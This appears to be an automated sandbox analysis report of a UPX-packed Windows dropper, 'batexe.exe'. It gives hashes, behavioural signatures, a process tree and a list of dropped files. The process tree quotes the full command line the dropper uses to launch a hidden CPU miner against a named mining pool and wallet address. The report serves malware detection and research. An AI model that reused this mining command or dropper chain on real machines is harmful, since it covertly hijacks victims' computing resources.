73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
307s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 08:17

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3200	b2e.exe
1656	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1656	cpuminer-sse2.exe
1656	cpuminer-sse2.exe
1656	cpuminer-sse2.exe
1656	cpuminer-sse2.exe
1656	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5304-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5304 wrote to memory of 3200	5304	batexe.exe	92
PID 5304 wrote to memory of 3200	5304	batexe.exe	92
PID 5304 wrote to memory of 3200	5304	batexe.exe	92
PID 3200 wrote to memory of 5284	3200	b2e.exe	93
PID 3200 wrote to memory of 5284	3200	b2e.exe	93
PID 3200 wrote to memory of 5284	3200	b2e.exe	93
PID 5284 wrote to memory of 1656	5284	cmd.exe	96
PID 5284 wrote to memory of 1656	5284	cmd.exe	96

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5304
- C:\Users\Admin\AppData\Local\Temp\565D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\565D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\565D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5A26.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5284
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\565D.tmp\b2e.exe

Filesize
6.2MB

MD5
d5fb5c4dca0c6da46b51ed4d419d6595

SHA1
8823915375e4279a74349b16fd7381eb4d30f6fc

SHA256
399d4c42f594627d893c82af357a4b2ef7a125236fbab80c5f77783317cbc129

SHA512
8edac651c64ff7111129b1f646938268025b25bb78d9599d4de4693a33a7aaf23d845152c7e27971dd7846841e5b691fa82b74ae3a5e817c2c2238ba36d1de42

Download Submit
C:\Users\Admin\AppData\Local\Temp\565D.tmp\b2e.exe

Filesize
2.2MB

MD5
b6a558633dc13e01c86f714214bdd894

SHA1
95921cb72467d2a69885d7987fa6990ed3756e81

SHA256
85cd30b679653b5cc0ca0c6cb9e56e841122391168a2237121da79b28b9fd507

SHA512
d55e570830a21e8ffe9d7a769576afce67fa05396d4450818bfa45132e1f10e5bf8f10026e9fa621f0451f8908d7c9bff9590f64a85d5048af173f5e529aa7c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\565D.tmp\b2e.exe

Filesize
1.4MB

MD5
cb2578605d4044e42f37ce57b8c1e5a7

SHA1
303ef5cbd356556ba04f48f5649ff8de2a6a2500

SHA256
92329a7499b6041a8bf57b68a437ccfd863def23ac2e84f8c8b198eb37443f0c

SHA512
b4828d56715eb00a0fe855187208032414ca54d205e9e0925441bbb2500897c0cc510c3a5bf9018cbc5dce36b71af2a96d3ee04161acfc1ae334b60fad6cbcf9

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A26.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
806d4bb31c8a14b37f7bc1a333ad8a94

SHA1
b6d49eb2f85bd302a86a7c9b84259724aac74090

SHA256
f494aa04800c77c387a350b8cc20208ab2e16b5afb935af8d3609186807d0aa8

SHA512
efa3d1e975184d427ef2dfe3e9818442312c3e4e100e3e0b86594626cfff1053d190c45c547f9acc680e2c80648d6bd5756328ea098413c0f98db711a5adf30e

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
4363cd693bf130ac3d6d1df305fafdea

SHA1
78af787e284762d0bd89d73a750d4d570a09a299

SHA256
121acce227b1f1b1ae950fcbc717cbea0a660d8017418eb8f7e02c74d5f10af0

SHA512
5977812cda858999262010e93aef4ecaa83ac8d76cacb3d672689d1bf33c905a47b4c5a430ede89364781fee36c52422b85c01e517a84eee5a04eaf65bfa4be3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
c04125a3ec6dbfbe5531410143c35070

SHA1
8e2816b6f1ebf09f7499839e78bbd2d25456e5d1

SHA256
7540c335eb4e6c8fab6508b7ea7923efba0d881fcca5cd352f881e8c53f235b8

SHA512
cb3fd54e416f4cbcc7c9b49c498f134815ce803c1afb865cf24841b1d7f7d461d692ec603024379bf7c5e0b91e332774ec7377e942ea2db2635b414920a13bb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
11709d4b81288f07af52381b12b13784

SHA1
2754992b5761a4f34b549fbe11dfba32b42b7494

SHA256
4969a8008e05f6dc33c6b8e58330daf12c3a6214ccc7027ec5b762277335a337

SHA512
7cd23d9069de8610d614f4b96750d3b3bd679bef38689159b316bc1451d3ae3e687f92110b6e6346616f189000398a1759fa89bb6e34682e04bbc597b548ebc5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
abf236cd7589d2e1ad2ed8f2524941a3

SHA1
c331c5e8274b3795cb08d833bf3a0d21e2854686

SHA256
27863c3095f0d9c2dc15298e1cf5853f787c3f377757ae3097ddcf3f8da3d8b4

SHA512
976012b941f41cf80d416373f2e6dadc4ac4628634f544dfa072875d3b84d9c0f9a3978f61d5e06327e0d5e54dd01a1cdb0cd741f4dfae1c5097cf8b905b86c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1656-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1656-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1656-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-46-0x000000006D560000-0x000000006D5F8000-memory.dmp

Filesize
608KB

Download
memory/1656-47-0x0000000001020000-0x00000000028D5000-memory.dmp

Filesize
24.7MB

Download
memory/1656-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1656-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3200-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3200-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5304-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download